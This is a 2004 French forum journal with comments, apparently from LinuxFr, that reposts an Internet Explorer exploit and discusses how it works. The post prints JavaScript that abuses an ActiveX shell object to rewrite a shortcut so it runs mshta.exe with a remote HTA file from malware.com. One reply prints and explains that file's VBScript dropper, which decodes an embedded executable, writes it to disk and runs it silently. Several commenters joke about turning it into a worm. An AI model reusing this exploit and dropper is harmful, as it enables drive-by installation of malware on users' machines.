Journal Nouvel exploit pour IE :

Posté par  (site web personnel, Mastodon) .
Étiquettes : aucune
0
7
jan.
2004
http://www.internetaddict.be/index.cfm?PageID=11&nID=9601&a(...)


Le code est celui-ci :

Code:

<script>

// jelmer is in the zone
// 01.01.04 http://www.malware.com(...)
// adjust as required - many more setups

var objShell = new ActiveXObject("Shell.Application");
objFolder = objShell.NameSpace("C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Accessories");
objFolderItem = objFolder.ParseName("Paint.lnk");
objShellLink = objFolderItem.GetLink;
objShellLink.Path = "mshta.exe"
objShellLink.Arguments ="http://www.malware.com/poopware.hta(...)"
objShellLink.Save("C:\\jelmer.lnk");
objShell.Open("C:\\jelmer.lnk");

</script>

(le tout dans une page html)

JE comprend pas trop c'est quoi mshta.exe ni à ce qu'est censé faire poopware.hta (c'est un code bizarre)

PS : j'ai vu cette info sur : http://www.unixtech.be(...)

  • # Re: Nouvel exploit pour IE :

    Posté par  (site web personnel) . Évalué à 2.

    Simple et puissant, un jour on pourra installer firebird et changer les liens pointant initialement sur IE pour qu'il executent FireBird grâce à IE lui-même. Merveilleux et merci Billou.

  • # Re: Nouvel exploit pour IE :

    Posté par  . Évalué à 4.

    >JE comprend pas trop c'est quoi mshta.exe ni à ce qu'est censé faire poopware.hta (c'est un code bizarre)

    Le lien suivant devrait permettre de t'éclaircir, noter la remarque suivante :
    Security Risk ( Virus/Trojan/Worm/Adware/Spyware ): No

    http://www.liutilities.com/products/wintaskspro/processlibrary/msht(...)

    Conclusion : ça lance la page hta passée en paramètre

    Pour le reste du code (le hta) rien de bien sorcier

    Il se planque loin de ta vue : self.MoveTo 6000,6000

    Ca c'est le code binaire du logiciel (potentiellement un virus que je veux lancer sur le poste client )
    t="4D,5A,44,01,05,
    [...]
    F,3F"

    Le code pour créer le fichier .exe, vbs de base

    tmp = Split(t, ",")
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set shell = CreateObject("WScript.Shell")
    poop = "fDfdfsdsfsdfssd3s343.exe"
    Set f = fso.CreateTextFile(poop, ForWriting)
    For i = 0 To UBound(tmp)
    l = Len(tmp(i))
    b = Int("&H" & Left(tmp(i), 2))
    If l > 2 Then
    r = Int("&H" & Mid(tmp(i), 3, l))
    For j = 1 To r
    f.Write Chr(b)
    Next
    Else
    f.Write Chr(b)
    End If
    Next
    f.Close
    runscr=1


    Si le tout a bien marché, je lance le virus sinon je m'arrêre discretos.


    if runscr then shell.run(poop)
    on error resume next: self.close()


    Chez moi ca marche pas parce que mon ordi est francisé, mais avec un peu de travail, ils vont bien réussir à nous faire un truc bien multilangue ... surtout avec un acces aussi simple à l'ensemble des répertoires
    Et au boulot, tjrs sous WinXP :-(

    • [^] # Re: Nouvel exploit pour IE :

      Posté par  (site web personnel, Mastodon) . Évalué à 1.

      donc le binaire, on peut y mettre ce qu'on veut dedans ?

      PArce que c'est vrai qu'un beau ver qui installe Firebird avec une skin IE à la place de IE, ça fait rêver :)

      Juste pour voir la tête des webmasters qui font des "IE only" :)

      Mes livres CC By-SA : https://ploum.net/livres.html

      • [^] # Re: Nouvel exploit pour IE :

        Posté par  . Évalué à 1.

        Ya un post qui est passé ya qq mois qui présentait un logiciel qui faisait une sorte d'apt-get install de Firebird (ca telechargeait et peut etre installait plusieurs logiciels libres) sous Windows.

        Il ne reste plus qu'à mettre le code de ce programme à la place d'un virus :)

        Bonne continuation pour l'idée lol

    • [^] # Re: Nouvel exploit pour IE :

      Posté par  . Évalué à 1.

      Ca c'est le code binaire du logiciel (potentiellement un virus que je veux lancer sur le poste client )
      t="4D,5A,44,01,05,
      [...]
      F,3F"

      tu veux dire "le code hexadecimal du bine du logiciel" ?

      plagiats

  • # Re: Nouvel exploit pour IE :

    Posté par  . Évalué à 3.

    Ca marche pas chez moi, IE me fait un access denied si c'est lancé depuis le net... lancé en local ça fonctionne évidemment.

    Et vu que je n'ai rien changé au droit par défaut, j'imagine que cet exploit ne fonctionne pas partout...

  • # Re: Nouvel exploit pour IE :

    Posté par  . Évalué à 3.

    Pas étonnant que IE soit le navigateur le plus utilisé au monde si il est le seul capable de réaliser autant d'exploits !

    • [^] # Re: Nouvel exploit pour IE :

      Posté par  . Évalué à 1.

      Rien à voir avec ton post mais le lien associé à ton nom est l'association de deux urls... bizarre... c'est sans doute lié au fait que ton url (www.menagerie.com) ne comporte pas de http devant, mais la source de la page a l'air clean...

Suivre le flux des commentaires

Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.